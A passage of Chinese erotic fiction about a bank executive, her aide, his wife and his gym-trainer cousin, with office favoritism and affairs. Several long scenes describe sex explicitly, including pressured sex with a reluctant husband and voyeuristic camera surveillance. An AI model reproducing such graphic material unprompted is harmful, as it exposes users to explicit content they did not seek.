    “不急的,张总。”建新吱唔地道,能看出此刻他的心里正遭受前所末有的折磨,他的额间有细密的汗珠渗透而出。张丽珊如同火上添薪地再说:“叶小杏我正准备将她调离中心行,这段时间确实不象话,她部门的经理都有反映。”

    “张总,你就网开一面吧,小杏本来是个不错的姑娘,都是我——”建新心中的豪情壮气不自觉地流露了出来,他这仗义的怜香惜玉的气慨更惹怒了张丽珊,她有些发怒地说:“不行!我不能让一粒老鼠屎而搅坏了一锅汤。”

    他听了这话之后一直没回应也没反驳。两个大拇指拨动着方向盘发出“嗒嗒”声愈发紧迫了。又沉默了一会儿,他才问:“您打算对叶小杏怎么办?”他灰白难看的脸上有种深深忧虑和不安的神情,与刚才表现出的豪放也全然不同。

    “去开发区分行,要是她不愿意,那就走人。”张丽珊说得坚决无可妥协,建新再也不敢吱声,只是心事重重的开着车。过了一会,张丽珊才说:“建新,月底的例会,我就要宣布任命你为办公室主任了,你可别给我添乱。”因为叶小杏的事,她有些心虚,对他加倍的亲近宠络。

    过了一段时间,闵建新真的再也没跟小杏取系了,张丽珊不放心,暗暗留心察看,找不到他们勾连的任何蛛丝马迹。她感到多少天来堵在胸膛里的东西挪开了,一时象舒一口大气那样畅快。闵建新煳里煳涂地走马上任,但他表示还是继续替她开车。

    跟往常一样,闵建新把参加完了宴会的张丽珊送回到她郊外的别墅,张丽珊并没有马上下车,她问道:“你不跟我进去。”建新明白她的用意,他马上停泊好了车,跟着她走进了别墅。张丽珊有多处房产,她的每一所住处只是让某一个男人知道,但惟独对闵建新例外。

    从进门起她就脱掉了高跟鞋,她赤着脚走过打过蜡的大理石地面,直上楼梯,就在二楼她的房间。她将柔软、紧贴的奶白色的羊毛裙子解开,然后迈动步子任由它自然地掉落在地面上。慢慢地,她松开她淡色格子丝织上衣的前排纽扣,享受那种慵懒的感觉。

    “建新,你过来。”她朝着敞开的门高声叫唤,建新快步上了楼,这是一间装饰得富丽奢华的卧室,几乎占用了近整层楼,是她悠闲享乐的隐秘地方。墙上挂着贵重的丝织壁毯,大小沙发和各松软的靠垫随处摆放着,硕大的花瓶里插满了鲜花。

    卧室的整套家具都是国外定制的,尤其是中央那张精致的大床,在柔和的灯光照射下,绣着黄金色龙凤图案的黑色床罩熠熠生辉。张丽珊近乎赤裸地躺倾斜在沙发上,她对进来的建新说:“帮我放水,我要泡个澡。”

    建新答应着,两眼火辣辣地盯着她的身体。从洗漱间里出来时,张丽珊见他的双手像是很随意一样地放在裤裆处,那里鼓突突明显地隆起一块。她娇笑地道:“建新,我们多长时间没在一起了。”

    “差不多半年了,从那个弹钢琴给你独奏起。”建新带着失宠的悲哀口气说,张丽珊放荡地一阵大笑:“弹钢琴的回老家了,他不行了。”随后又语调轻柔地说:“替我按摩一下。”

    她舒展起身体动作优雅地脱除了乳罩,脸朝下,横趴在沙发上。建新挑选了一瓶香气浓郁的油脂,然后跪到她身边的地面上,仔细地,均匀地把油脂涂抹在她的身上。然后两手在她勃颈上、肩膀上、背部慢慢地来回游动。

    张丽珊闭着眼,像被催眠一样,一动不动,她在体会感受着他的抚摸,她的全身神经感受跟随着他的手一一触摸着自己高隆的酥胸和丰满的臀部。光滑的、惹人情欲的油膏涂满了她的身体。“哦……好爽好爽啊……”她呻吟叫道,舒爽的电波一波波的侵袭着她的身体。

    张丽珊不知从那弄了个王国英跟闵建新认识,他们先是在咖啡厅里喝了一次咖啡,然后又逛了回商业中心,建新很大方地替她刷了卡,接下来便谈了几次,整个过程闵建新不像意气风发的末婚青年,而更像一个梦游者,一个失魂的走尸。

    王国英不仅年龄比他大,其它方面也比他大,她是退役的运动员安排到了公安局,遇到了闵建新像是天上掉馅饼,抓紧在手里便就死死不放。不知是第几次的约会,他们一起看电影,建新在漆黑的座位上,那时他真的挪动了一个身。

    刚巧他的身体一动碰到了她,她便像根面条似的软瘫瘫地倒进他的怀里,随即就努起嘴唇向建新索吻,建新新蜻蜓点水般地应付了一下,但她楼住他的脖子丰厚的嘴唇就压住了他,使他差点透不过气来。一旦有了这实质性的举动,他们的关系就如同放闸了的水流一发不可收拾。国英最大的愿望就是能把自己嫁出去,对于能娶她的男人从不敢有过奢侈的期望。如今谈上了闵建新这个年轻有为出手豪阔而又相貌英俊的男人,一颗芳心已是怒放,粗犷的身子早就酥软,她用心良苦地想方设法把建新弄到她的床上。

    赤裸的国英表现出的急切和无从下手的窘态让建新暗自发笑,那天晚上他们是喝了酒,但都没有醉。国英手里握着他的阴茎,不知该如何处置它。放在脸上磨荡了一会,又拿在夹放在乳沟上,建新也装做不懂的样子,任由着她把玩。

    他的阴茎挺硬不起来,在这之前他已跟张丽珊缠绵了一晚,国英试图着让它重振雄风,她爬到他的身上,趴在他的肩膀上,跨骑在他的头上,她分开她的大腿,更大,更大点,建新感觉到他大腿之间开始颤抖的抽搐,她想要他的阴茎进入,但建新的阴茎总是不硬不软的,这样看起来的确不容易。

    建新双手忱放在后脑勺,看着气喘吁吁香汗淋漓的她忙碌不停,她摇动着她的屁股,直到她丰盛的阴毛搔到他的龟头上,而后在它上面到处摩擦着她的骚屄。建新从下往上一望,看见国英也正低头盯着他,她的大眼灼灼放光,像发情的母狗一样口里流出着唾沫。

    她继续着紧握着阴茎自己找寻着方向,那根稍稍发硬了的阴茎不时地从她肥厚的肉唇滑过无从入门,弄得龟头和她的阴唇湿漉漉的沾满了她乳白色的淫液。终于建新也无法忍耐了,他搂着她一把将她压到了身下,凑起腹部往上一顶,阴茎如长了眼的蛇一样钻进了洞穴。

    国英整个人顿时一僵,她喘息着,两眼紧闭,一言不发,阴茎插进的那瞬间带给她的快感让她惊讶。建新玩弄女人的手段娴熟老练,他并不急躁只是让阴茎在她的里面顶抵着。对于初次尝到了男人阴茎的她来说,建新的阴茎让她有种饱涨欲裂的感觉,但却填满了她空虚多年的欲望。

    国英的里面已如同泥泞的沼泽地,而且不断地分泌出更多的淫液出来,建新知道她泄身了,他感到了一丝自豪。随即他便纵动起身体抽插了起来,先是缓慢的和风细雨一般地抽动,这已足以让宝珍魂飞魄散;随后就是一阵急风暴雨的冲刺,一下把国英操得嗷嗷乱叫淫液直流。

    长期被性欲压抑了的国英,如今让很多女人为之心仪的建新在她身上如御苦役一般地操弄,这对她来说几乎不可能的事,但现在这个男人正把他的勃起的阴茎深深的塞进她的体内,这个美梦正要成为现实,想想就足以令她激动起来。

    加上这个男人调弄女人的本领和坚硬持久的性能力,她的心里和生理都处于极度愉悦之中,舒爽的电流从她的脚趾,袭过他的身体,最后在大脑中爆发,随即一声持续的呐喊在她的大脑中回响。一波结束,另一波又起。使得她感觉心脏就好象要从身体里跳出来似的。

    当建新射出精液时,由于过度的快感她的脸扭曲了,那表情有些惊讶,有些狂乱,有些原始的性欲。她感到太快了,这是她并不喜欢的事实。但她可以说这种感觉真的很美妙,她再也顾不了许多了,她一遍一遍的舔着嘴唇,紧闭起双眼。

    紧接着他们便匆匆忙忙地结了婚,张丽珊为他们举行了盛大的结婚仪式,在她看来,这桩婚姻确是美满的,王国英各方面是令人满意的,是那种典型的过日子的女人,顾家、安稳、体贴、耐苦,还有那么一点自私。但人们却从闵建新身上看不出新婚的快乐,他的脸上经常的乌云密布要不就是愁眉不展,其中的沮丧和无奈也只有闵建新自己最清楚。

    王国英终于把地拖完了,又把一些脏衣服放进了洗衣机里,她双手胡乱地在身上的衣服擦拭。“好了,老公,我来陪你。”她的声音把正闭目沈思的闵建新拽了回来。“你下班干什么了?怎这时才整理家务?”建新不满地问。

    “下班他们拉着我玩了会麻将,老公,今天我的手气特别地好,赢了好几百块。”国英高兴地说,挨近到了建新身上,胸前那对硕大的乳房直往他的手臂上蹭。建新往后挪了一下:“我警告你,打牌偶然玩一下就算了,可别着了迷。”

    “我知道的啦。”国英说完,手就往建新的大腿摸索:“老公,好多天了,你就不理我。”结婚这么多年了,国英长期以来都处于被冷落的境地,每一次做爱都是她巴结着建新,都是她死皮赖脸的。建新将她的手拍开,他说我要洗澡了。

    建新放了满满的一浴池的水,他连同头部都沈入进水里,娶了国英做老婆,建新几乎从来就没有主动挑逗她的时候,在一开始,她便像是永远地打入冷宫。王国英不仅长相粗糙,还长着一个和男人差不多的喉结,而且颧骨太高,她的阴毛也太浓太硬,所有这些,对于玩惯了女人的建新来说都是不满的。

    第一次脱光了她的身体,建新像老练的马贩子那样,对她的全身做了一番检查。国英身高马大腿粗,臀圆,膀大,腰圆,两个乳房更是高出正常人的一二倍,高高耸着,山峰似的,他立刻大失所望,蜜月还末完,他就跟别的女人打得火热,甚至跟她撒谎而后彻夜不归。

    建新对于家还是忠实地尽了丈夫的责任,但是他对她的身体并不怎样感到兴趣。他经常躲避她的骚扰,要不,就是黑灯瞎火地操弄一番,偏偏国英是个性欲十分旺盛的女人,更兼建新眉清眼秀体格健美,这更激发起她赤裸裸的欲望。

    当他从洗漱间出来时,国英正浑身赤裸着躺在床上等他,建新对于国英的身体有许多不可告人的厌恶。她以前是运动员,如今没有运动身体迅速地发胖。当初她那种体壮膀粗浑身黝黑也曾挑拨起他另类的欲望,像她那山一般硕大的乳房,却又是酥软的,酥软的是他自己的手心。

    建新也曾爱不释手整晚地把玩,特别是她一触即起的奶头,尖挺起来时啄着他的手,后来她连这一点少女美也失去了。对于一切渐渐习惯了之后,她变成一个很乏味的女人。建新还不想太早就上床,“老公——老公——”国英像猫叫春一样喵喵地叫唤。

    “怎么啦?”他刚一走近床边,她突然腾飞而起,双手搂住他的脖颈将他猛地搂倒到了床上。“你在干什么?”建新高声地说,她再也不顾他不悦的神情,将他压在身下双手就拉落他有内裤。“我准备好性交了?”她用梦呓的声音自言自语地说道。

    她手抓着他的阴茎,换了个姿势将头趴到他的腹部上,张开她那血盆大口就把阴茎吞咽到了嘴里,“咕噜咕噜”嚼着他的龟头,然后开始疯狂的吸吮起来。尽管建新心里很不情愿,但禁不住她手口并用的调弄,阴茎违心地发硬了。

    她把嘴张得大,用舌头沿着他的阴茎从上往下边舔边吸着,建新发出一声低长的呻吟,充满性欲和绝望。她停止吮吸他的阴茎,将勃起的阴茎抓在手里,蹲坐在他的腹股沟上,摇晃着屁股直抵到了他的阴茎,她寻找着角度然后把屁股朝他的肉棒沈下,从上往下刺入自己体内,那湿润的天鹅绒般柔软的阴道包裹着他。

    国英蹲坐在他身上,在他的肉棒上上下抽插着自己,她的大腿肌肉强壮,使她上窜下跳像只野兔,她对着他的骨盆一次又一次的撞击着,让他的整根阴茎没入她的体内,撞击得他多少有点疼痛,建新想他会一直痛到明天的。

    “啊啊啊……”她喘息着,这时她的体内正享受着绵绵而来的快感,她低头盯着他,建新的眼和嘴唇紧闭,他的头歪向一边。国英可顾不着这些,她越来越快的在他身上挺动屁股。“不对劲啊……我快不行了。”她光滑的大腿开始颤抖,然后更紧的夹着他的腰,她的阴户紧压着他的阴茎。

    建新的阴茎还是那样半硬不软的,但他只是躺在那里,享受着它从国英美妙的阴户里进进出出,不花半点力气,感觉起来还挺是美妙。他清楚是自己体内消耗太多了,好像储存的精液都让其她的女人榨干去了,才这样一直没有射精出来。

    但他害怕假如他还没射出精,国英会一直这样蹲着他不依不饶的,直到那张床或者他粉身碎骨。即使蹲起墩落国英在他身上忙活了差不多法小时,她仍然不累:“老公,今晚你真棒,这么持久了!”她尖叫着:“你让我爽死了!要是每晚都这样,我真的好幸福!老公,明天我应该给你补补,养足了精神来,我们再做爱!”即使是在快要高潮的时候,她也没忘了明天该做的事。

    建新睁开了眼,见她已是大汗淋漓,一旦做起爱来她变得如同一个泼妇,而且像只发情的母老虎。她擡起手捧着自己的乳房揉搓着,用她长长的指甲捏着她的奶头,使劲拉扯着,太用力了,她的奶头伸长了起来,然后啪的一声弹了回去,让她柔软而有弹性的乳房轻轻摇晃着。

    “快射!快射!老公,你让我丢了——”她的声音好大,而且又像是鬼叫狼嚎一般,尖叫着、咒骂着、呻吟着,以至于建新担心他们的邻居是不是听到了。她似乎快要窒息了,她的头扎落在他的胸脯上,但继续夹紧着大腿,拧着她的奶头。

    建新知道她是泄出精来,张丽珊泄身的时候是嘤嘤呻吟的,而国英则不同,当她泄身时却是嗷嗷嚎叫着,像个野兽,像只发情的母狗。“啊啊嗷嗷嗷……”她尖叫着,建新这时也勉强地射出精来,但数量并不多,也没有狂泄时那种激越的感觉。

    她瘫软在他身上,她的脸在枕头上紧挨着他,他们躺了大约一分钟,直到各自的唿吸恢复正常。但国英还没完没了,她先是把玩了着疲软了的阴茎,随即再用口吞咽了进去,也不顾那上面尽是他们刚才的淫液。整根阴茎在她温热的口腔里,建新也有一种美妙的感觉,很棒很棒,像通了电一样从他的阴茎里扩散出来。

    国英吸吮着他的阴茎,就像当年的张丽珊一样的狂热,她亲吻着,舔动着,吸吮着,吸着吸着直到他的脚趾蜷曲起来,他开始乞求:“求求你,求求你,慢一点,轻一点,轻一点,啊不……不!”她把他的整根吸进嘴里,用她的舌头搅动着,她长长的手指用力扯起他的肉棒。

    他索性闭住了双眼,让快感流遍全身,然后睁开双眼,向下面他的大腿根望去,看见国英从他闪亮的龟头上擡起头,噘起嘴唇,把嘴探进他的肉棒底部,她来来回回反复多次,她的嘴唇紧紧含着它,她滑熘熘的舌头在它紫色的龟头上打着转儿。

    太美妙了,他想让这一刻继续再继续,但已不可能了,他分开双腿,弓起屁股,发出一声绝望的呻吟,他的精液喷射进她湿润的嘴里。她继续吸吮着直到它的睾丸有节奏的痉挛平息下来,但是她并没有停下来,她继续“啧啧”的吸食着。

    建新昨晚顾不得清理就这样迷迷煳煳地睡着了,当他睁开眼时已是阳光普照,卧室里光亮透彻。从没关闭的门望去,国英正在阳台上做瑜伽,她仰面躺在铺放着垫子的地板上,蜷起两腿,再朝两边使劲分开,直到膝盖两侧各自触到地面。

    看看时间还早,他起身往洗漱间,在镜子前面他看了看自己的,建新对自己的脸十分地在意,脸上现出纵欲后的苍白,他的眼睛不大但神采奕奕,最让他引以为傲的是他的鼻子笔直尖挺,紧抿着的嘴唇棱角分明。他把身子投入到花洒下面清洗一番,出来时已浑身香喷喷的。

    国英已在厨房准备着早餐,他推说没时间不吃了便拎着皮包出了门。多年以来他跟随着张丽珊,如同她的私人秘书一样,他们之间已达到了心有灵犀的默契,他将车停放到了距离金佳园住宅区不远的马路边上,在车里心无旁骛等候着。

    街道上的声音嘈杂喧闹,不时地有一二辆车从他旁边经过,晨练回家的老人穿着奇光异彩的衣服、从菜市场拎着大包小兜的家庭妇女、带着孩子上学的年轻爸妈。那辆熟悉的黑色王冠从住宅区里出来了,建新仿佛见到老贺斜歪在后座上一脸的憔悴。

    大约过了十多分钟,他看到张丽珊走在一排浓荫伸展的悬铃木下,紧束的短裙下面两条长腿像水边的鹭鸶,漂亮的女人走路时总有种与生俱来的优雅之态。她避开了一辆疾速行驶的红色出租车,穿过马路,顺势朝他这边瞟过来一眼。

    建新马上从车里出来,打开了后座的车门,张丽珊钻进了车里,刚行驶了一会,便有电话响起,张丽珊问:“谁的?”“我的。”建新肯定地说,张丽珊继续闭目养神。建新打开了车上的蓝牙,“喂!闵哥,在哪?”“路上。”建新冷冷地回答,他发现张丽珊突然醒了,她伸出了舌尖舔了舔嘴唇。

    “是李威。”他关闭了蓝牙说:“这小子手头又是囊中羞涩。”“给他,别给多了。”张丽珊伏到了他的座椅后面说。建新说:“好的,我明白你的意思。”张丽珊这才安然回到座位,她双手抱着脑后勺,脸上却是一派淫荡的笑意。

    就因为建新结婚了之后,在床上渐来渐不能满足情欲高涨的张丽珊,有好几次她差点想将他踢下床去。建新是看她的脸色吃饭的,早已是她肚子里的蛔虫,为了保住饭碗,他费尽了心机,终于想出了一个万全的办法。

    他有个远房的表弟李威,家里花了些钱让他读完了体院,毕业后无所事事跑到健身房当教练了,本来过得还可以,就是他喜赌,家里的积蓄都让他挥霍一空。幸好他还没结婚,有一顿吃的全家就不饿,也就一个人成天厮混。建新找到他时,他正在健身房跟人打扑克,看来输得精光了,他回头张望,所有的人都避开了他,有的甚至起身离开。

    “威少,你没钱了就让个位。”跟他玩的有人发话,李威拽着脖子说:“谁说我没钱,就欠这一把。”“你都欠多少了,还欠。”那人不愿意了。李威指着一个围观的人,没等他开口说话,那人连连摆手:“威少,我都借你那么多了,再也没有了。”说完,还把身上的口袋都翻出来。

    突然,他的跟前啪地甩来一叠钞票,他擡头一看:“闵哥,你来了!”他高兴地大叫着,建新挥手让他继续,他夹着皮包四处打量着。这是个废弃了的车间,摆放着一些健身器材,几支大风扇哗哗地吹着带着热气的风,里面的设备简陋、器械残旧,通风也不好,一踏进里面,四处便充斥着汗味、烟味,人身上的狐臭味。

    “闵哥,你真是我的大救星。”李威手里攥着一大把钞票,他兴致勃勃走近建新:“你找我有事?”“瞧你这出息,成天就混迹这地方。”建新不满地说。

    “闵哥,给你弟找条出路,谁不知道你现在喝香的喝辣的,那能跟你比。”他们走着说着,李威穿着宽松的短裤,上身却是尽量裸出肌肉的窄带背心,建新说:“走吧,找个地方吃饭。”

    他们步行着从马路旁的一条小巷拐进去,那里大排挡明晃晃地一间挨一间,把人行道都塞满了,人群川流。海鲜馆门前光亮的灯泡照耀下玻璃水槽内游动着鱼鳖蟹虾,鳞片闪闪,晶莹剔透,输氧管使水面不时冒出一串串气泡。

    他们找了一张较为安静的桌子,李威把桌上的杯子碗筷用开水滚烫了一遍,示意建新把跟前的那份给他。摩肩接踵的人们大声说着话,小贩的叫卖声、油锅的爆炒声混杂在一起,形成嘈杂滚动的声浪。菜还没上,他们接连干了几杯啤酒,李威把斟得满满的啤酒递给他。

    “威仔,明天你去天鹅会所找这个人,我跟他说好了,他会安排你工作。”建新扔给他一张名片,李威看了看,高兴地说:“闵哥,你算是把兄弟领上道了啊。”他说,用杯子跟建新碰撞,建新不露声色地说:“到了新地方,可不能像现在这样,得有个新样子了。”

    “那一定的,我知道天鹅会所,都是些名流贵妇进出的地方。”他说,建新就再吩咐他:“既然你知道了,就得小心,别弄出些麻烦出来让你哥蒙头丧脸的丢人。”他拍着胸脯说:一句话,我听你的!

    又叫了几瓶啤酒,借着醉意倒也毫不客气。建新跟他谈女人、谈赚钱、谈这个城市,两张痴痴的脸浴在夜色中昏浊路灯的光辉里,恋恋地评头论足说个不完,又还老是遗憾的口吻。建新跟他说了他的经历,他刚走进社会时的困惑,他听他闲闲地说来,轻言细语的,头头是道,像孩子听神话似的,相信,而又不甚信。

    天鹅会所是会员制的私人俱乐部,张丽珊是市里企业家协会的理事,在不知第几次会议的时候,她突发奇想提议何不为这些不贵则富的朋友找个地儿,让这些事业有成腰缠万贯的大享们寻些乐趣,那些企业家一致赞同该为自己找一个娱乐的场所,于是,慢慢地演变成今天的辉煌。

    就在江心岛丽晶的副楼,跟富丽堂皇的大酒店不同,这里的大门掩蔽在一片阔叶的林荫中,门口竖着私人会所闲人止步的牌子,散发着毫不张扬的优越感。持有俱乐部会员卡的不是富商名仕便是名媛淑女,据悉每张金卡曾一度炒至天价,大多人都把持有此卡做为炫耀的资本,如同名车水钻一般。

    张丽珊每周都会到这里二至三次,果不出建新所料,张丽珊第一眼见到李威时,她便让一种非常奇特的感觉包围了。似乎在她的后脑勺细小的汗毛全都随即竖立了起来。她的唿吸显得粗大,而某种似毒汁似的液体正在她的体内流动,冲击着她,慢慢地,非常熟悉地,暖烘烘的快感就窜入了她的性神经。

    那是一个近于赤裸、健壮,有着古铜色坚实肌肤的身体,在性爱上堪称完美的年轻男人,他的身体简直就可以当成一件展览品了。张丽珊控制着自己,不要一直贪婪地看他,可是她心里的眼睛却再一次,挣扎着要开始想像。

    那时李威正肩负着扛铃练深蹲,他赤着膊这使他麦色的皮肤都隆起饱实的肌肉群,那些肌肉过于发达,随着他的起落凸起了凹陷了,一道道像是盘根错节的树根。腹部的八块疙瘩,包子似的,饱满着,像一块粗糙坚硬的岩石。每一块的上面都溢着一颗硕大的汗珠,通明着。

    他的下身是一条间有蓝白条的健身裤,尼龙的弹性把他的下体包裹得原形毕现,尤其是两腿中间那隆起的一堆尽管没有半点暴露,可明显的粗大都是再明确不过的了。只是瞧上一眼,张丽珊就感到自己的皮肤在发热,那股热流捎带到了她的脸上,使她的脸上现出了红潮。

    随后又不知不觉地流经她的小腹潜入了她两腿间的阴户,她感到热流在不断涌现,而她的乳房鼓胀了起来,奶头在她那过紧的衣服底下,显得淫荡而尖挺。张丽珊饶有兴致地问:“那是新来的吧?”

    “我的表弟,从体院毕业的。”建新回答她,她从建新身上接过一个旅行袋:“我得换衣服了。”建新发现她那张保养得很润泽和漂亮的脸蛋上,那双狡黠且明亮的眼睛,那样子跟情窦初开的二十岁少女差不多。张丽珊在这天鹅会所有私人的房间,她一进房间就急着脱去了身上的衬衫。

    她闻到了自己身上那股熟悉的味道,她一直用玫瑰花香味的香水,但这时她闻到了身上还有带着麝香、体香、还有一股带着汗味的腥臊。一种动物为引起异类注意而分泌的气味淹没了她微弱的香水,像是一阵看不见的,求偶的迷雾。

    她从衣柜里选了那套桔色的健身服,领口开得很低,尤其是背后,几乎裸到了腰际。连衣的裙脚却是四角的,绷得过紧,深深地勒进大腿根部。她把自己投进镜子里,拉了拉健身服,从纤细的腰,乃至柔软,曲线的臀部。

    建新斜依一架健身器,欣长而优美的姿势透着一股松驰和淡漠,他的手中玩弄着一瓶矿泉水,而紧抿着的嘴角挂着若有若无的笑容,显得挑挞而自信。不一会,他见张丽珊她走了进来,长发用一根发卡松松绾住,桔色的健身服包裹下的身子丘壑峻峭摇摇欲坠。

    她先活动了一下筋骨,长手长脚下地扭摆着,像一只笨重的狗熊在偷摘棒子,左腋下夹了一个、右腋下又夹一个,一而再、再而三没完没了地重复着一个动作。建新对着远处的李威理了理脖子上的粗大金链,李威便跑了过来:“这位女仕,你做得不对,来,我来教你。”

    他很强细致地向她传授着运动前的准备动作,然后,让张丽珊跟着他做,其中发现有些不妥更是手把手的指教。看出张丽珊一直很虚心地接受,她的脸上堆着微笑一派虔诚,才一会,赤裸的背嵴粘着汗珠,在灯下面一闪一闪地折射着很多晶莹的光芒。

    闵建新觉得不能再呆下去了,他抽身到了二层的办公室。推开玻璃门进去,便有一股冰冷的气流迎面而来,说不出的清爽惬意。一个矮胖的男人坐在写字台后面,见到了建新忙起身迎候:“闵老弟,怎么有空?”

    “没事,跟张总过来,随便走走。”建新说完大摇大摆地坐到他写字台后面的转椅上。

    矮胖男人张罗着给他泡茶倒水,建新玩弄着桌面上的一支笔:“我这表弟,怎么样?”“不错啊!很招人喜欢的。”他递给了他一杯茶。

    “是招女人喜欢吧。”建新说,矮胖男人一阵大笑:“他那样子,就是来诱惑女人的。”建新沈下脸:“我可告诉你,替我看着点,让那小子离女人远点,可别给我惹出些风流韵事出来!”

    “好好好,我听闵老弟吩咐。”矮胖男人点头哈腰的。见建新起身要走,他回过头来:“另外你吩咐他,注意点个人形象,别老是敞胸袒怀一副街边小混混的样子,这里是个高级场所。”矮胖男人连连点头称是,又说:“闵老弟,我的女儿在下面储蓄所呆得久了,你就帮个忙,要是能跟老弟你吃香喝辣的,那就更好。”

    “放心,我记着。”建新说完就走。再到健身厅,张丽珊已让李威带上器械,在他的指导下正在做腿部的拉伸,她躺在健腹板上,双腿曲起在胸前,再慢慢向两侧分开。他扳着她的两个脚踝帮她开胯,随着她双腿向上,他的脸几乎埋到了她的大腿顶端。

    换在另一个场合这动作确实猥琐下流,但在健身房里却也再正常不过,而且张丽珊也乐此不疲地。她偷眼见他似乎比她更卖力,喘着粗气,因为极力抑止,几乎要窒息,汗珠从他的脸上渗透出来。过了一会,他善解人意地说:“好了,休息一会吧。”

    “怎么样,我表现得还好吧?”她用白色的毛巾擦着汗,尽量地和他挨得近些,脸上有种愚蠢的得意。“不怎样。”他不屑地哼了一声,他一边微笑着指导,一边比划着动作跟她商榷商榷,还不时地附以身体局部亲妮的接触。

    “你说我这样管用吗?”她收起了双腿并拢了双膝,用胳膊抱在胸前,他很认真地说:“怎么没用,只要你持之以�,你的整个身体就会显出完美和谐的美感。”

    “那我可得好好练练。”张丽珊娇嗔地说,“我来辅导你,再进行器械训练,包括全身肌肉,使肌肉变得更有力度,使你的皮肤变得有弹性,让你的形体匀称,线条更美。”他说,眼睛近乎粗野地在她的胴体上游走。当他俩目光接触到时,她被他那单纯而又率直的目光所诱惑,她再克制不了内心的骚乱了。

    直到训练结束了,李威还喋喋不休地跟她说着他的训练计划,仿佛张丽珊如若听从他,就能返老还童青春复再。张丽珊则心不在焉,脑子里尽是李威健壮的身影,紧身裤子凸显着硕大的性器,结实饱满的胸部,线条毕现的胳膊,丰满圆滚的臀部。

    李威跟着她一直到了房间,他还想进去,让尾随而来的建新阻拦住了。张丽珊伴装做不知,她想如若建新不拦住的话,也许进了这房间,任凭铁石心肠的正人君子,可就由不得他了。她脱去健身服的时候,发现裤裆那里已湿了一片。

    6

    张丽珊对于健身表现出异样的热衷,现在每天下午下班后,她都会上天鹅会所。闵建新心知肚明,对于她的这些小伎俩了如指掌。像张丽珊这样的阅人无数,对年轻男人有着特殊嗜好的纵欲女人,把李威弄到床上去简直如同探囊之物。

    这期间矮胖的会所经理给建新打了电话,他说李威最近好像缠上了张总,对她百般地巴结,他已经多次地警告过他。建新对他予以了肯定,同时如他所愿地将他的女儿调到了办公室。在中心行,建新的办公室就跟张丽珊一墙之隔,那边点儿细小的动静也瞒不过他灵敏的嗅觉。

    距离下班还有一个多小时,张丽珊就坐不住了。她翻阅着台历上的日程表,发现晚上有个重要的约会,她拿起电话把建新叫了过来。建新敲了门进去,见张丽珊坐在写字台后面,她把手上的文件卷宗放下,夹着的是一面镜子,建新调笑着说:“要照镜就照,何必要夹着文件装腔作势。”

    她不理他,其实她的脸光滑就像去了壳的鸡蛋,眼角也没有多出的皱纹。“赖总的晚宴你代表我出席,记住,别表态,什幺事都往我身上推。”她对坐在她对面的建新说,建新小心地:“恐怕不是推的问题,是要借你的威风把那些多管闲事的设计局的人杀杀。”

    “让他自己去杀,就说我有更重要的事,陪老贺好了吧。”她说得不耐烦,把不该说的都说出来了。这幺粗俗的话不像从她嘴里说出来似的,简直如同市井中的泼妇。建新无奈地点头,她又说:“把我新买的健身服放到我车上。”便进了里面的体息间去。

    我已让妖魔附体了,一定是的!张丽珊在镜子前面补完妆这样想着。她有脸上红霞缭绕双眼水灵滟潋一派春色,似乎看到了那张英俊但有点模煳的脸,高高的,古铜色硕的、男人强壮的身躯,全裸的漂亮躯体。她离开时又最后看了一眼镜中的自己,她发现自己相当漂亮,觉得魅力无穷,任何男人都无法抗拒这美的诱惑。

    出来的时候,建新还没走,只是提醒她:“别坐电梯。”她疑惑看了看他,一时没明白他的意思,但还是从楼梯步行下楼,就在停车场上,保安对着她愣了一会,显然是走了神的。她在车里自己照了镜子,她的头发和脸上的妆在这样疯狂的天气里,看起来还是异常地清爽。

    她还是发现妆化得过于浓艳,眼睑的阴影打得太大,嘴唇又抹得又红又艳,那样子像是急于献身的夜总会女郎。她掏出纸巾在脸上擦拭,这样看起来自然了一些。当她驾着车在车流密集的马路上时,她发现她的心情显得十分爽朗。

    一到天鹅会所,矮胖经理余小顺便马上迎候着,他领着张丽珊走在铺设着红地毯的走道上,向她汇报着最近的经营情况,张丽珊心不在焉地听着。路过健身厅时,张丽珊从落地的玻玻墙往里一望,健身的器械上像棋子散落一样有几个人,或躺或坐,在那里笨拙而卖力地做着动作。

    张丽珊进了她的房间,她脱光了自己,赤裸着身体走到衣柜前,欣赏着镜中的自己。她的乳房高耸而结实,肚子微微隆起,曲线优美。她用手掌整个按住乳房,触摸奶头,奶头硬硬的,很快地翘了起来。她穿上了那件她精心挑选的健身服。

    性感的黑色健身服,后面和前面开口都很大,仅仅能遮住乳房,仅仅能包住她丰腴的屁股。窄窄的裤裆刚好遮住她隐秘的饱满的地方。她的里面没有穿内衣,任丝质的衣服摩擦她的腹部和大腿。当张丽珊这样袅袅婷婷带着一也许她并没有意识到的女人的优雅的性感出现在健身大厅时,她知道自己对在场的每一个人都有着不可抗拒的魅力。

    矮胖的老余在监控室里的电视屏幕前,从张丽珊进了健身大厅他就一直眼踪着,她就在动感单车前面,简单地做了几个准备动作,然后,就骑上车运动了起来。没一会,李威就凑到她旁边,他的双手把住了她的腰,让她把腰直起来。

    张丽珊回过头对他妩媚地一笑,李威离开时拍打了她的屁股。对于他这样下流的挑逗张丽珊并不反感,她继续甩动两条雪白的大腿椅踏,额头已渗出了些汗珠,头发也零乱了。老余觉得有些口渴,他找了一瓶矿泉水,一边喝着一边目不转睛地盯着屏幕。

    张丽珊在动感单车运动了差不多二十分钟,又到了多功能器械机那边,她平躺在躺椅下,双脚撑在身体两侧,嵴背平直。毫不费力地将一根举重杆不停地上下举过头顶,矮胖经理的眼光游离在她身体上,一会儿盯着她的胸脯,一会儿又滑向她的大腿。

    李威又过去,他让张丽珊坐起来,手握扛铃反复做着几组引臂向上的动作。他指点着,后来竟坐到了她的背后,双手围绕着她的身体纠正她的动作。李威的前胸几乎将她拥入怀中,她的后背贴得毫无缝隙。老余睁大眼睛紧紧注视着。他感觉自己就像一名淫猥的偷窥者,不过就是难以控制。

    这李威简直不像话,根本就无视他的警告,他觉得有必要把这事汇报给闵建新。老余怒不可揭,他拨通了建新的电话,一面跟他通话一面又对着屏幕,他发现这时紧贴在张丽珊后面的李威,他的下巴顶在张丽珊的肩膀上,而且嘴唇还在她白皙的肌肤上啃咬着。

    “你搔弄得我不知该怎幺好了。”张丽珊发出咯咯的笑声。“是你太动人了。”他甜言蜜语地在她耳边赞叹,他温暖的气息流过了她的颈背,他的另一只手举起了她的头发,他的口,则轻柔地放在她的肩上。她感觉到他的牙齿接触到她的皮肤,非常坚硬而致命。

